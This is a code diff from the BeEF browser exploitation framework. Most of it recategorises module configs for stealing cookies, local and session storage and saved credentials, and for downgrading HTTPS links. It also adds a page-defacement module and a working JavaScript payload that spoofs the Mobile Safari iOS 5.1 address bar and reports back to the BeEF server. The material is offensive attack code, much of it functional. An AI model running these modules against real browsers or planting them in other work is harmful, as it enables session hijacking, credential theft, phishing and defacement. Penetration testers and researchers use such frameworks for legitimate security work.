||||
});
|
||||
@@ -17,9 +17,9 @@ beef:
|
||||
module:
|
||||
deface_web_page:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace Content (Deface)"
|
||||
description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
|
||||
description: "Overwrite the page, title and shortcut icon on the hooked page."
|
||||
authors: ["antisnatchor"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
35
modules/browser/hooked_domain/deface_web_page/module.rb
Normal file
35
modules/browser/hooked_domain/deface_web_page/module.rb
Normal file
@@ -0,0 +1,35 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Deface_web_page < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
|
||||
return [
|
||||
{ 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
|
||||
{ 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
|
||||
{ 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['Result'] = @datastore['result']
|
||||
save content
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_cookie:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Cookie"
|
||||
description: "This module will retrieve the session cookie from the current page."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_local_storage:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Local Storage"
|
||||
description: "Extracts data from the HTML5 localStorage object."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_html:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Page HTML"
|
||||
description: "This module will retrieve the HTML from the current page."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_links:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Page HREFs"
|
||||
description: "This module will retrieve HREFs from the target page."
|
||||
authors: ["vo"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_session_storage:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Session Storage"
|
||||
description: "Extracts data from the HTML5 sessionStorage object."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_stored_credentials:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Stored Credentials"
|
||||
description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
link_rewrite:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace HREFs"
|
||||
description: "This module will rewrite all the href attributes of all matched links."
|
||||
authors: ["passbe"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
link_rewrite_sslstrip:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace HREFs (HTTPS)"
|
||||
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
|
||||
authors: ["bcoles"]
|
||||
@@ -0,0 +1,38 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
var somethingsomething = function() {
|
||||
var fake_url = "<%= @fake_url %>";
|
||||
var real_url = "<%= @real_url %>";
|
||||
|
||||
var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');
|
||||
newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');
|
||||
newWindow.focus();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');
|
||||
}
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
$j('<%= @domselectah %>').each(function() {
|
||||
$j(this).attr('href','#').click(function() {
|
||||
somethingsomething();
|
||||
return true;
|
||||
});
|
||||
});
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');
|
||||
|
||||
});
|
||||
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
mobilesafari_address_spoofing:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "iOS Address Bar Spoofing"
|
||||
description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')"
|
||||
authors: ["bcoles","xntrik","majorsecurity.net"]
|
||||
target:
|
||||
working:
|
||||
S:
|
||||
os: ["iPhone"]
|
||||
not_working:
|
||||
ALL:
|
||||
os: ["All"]
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user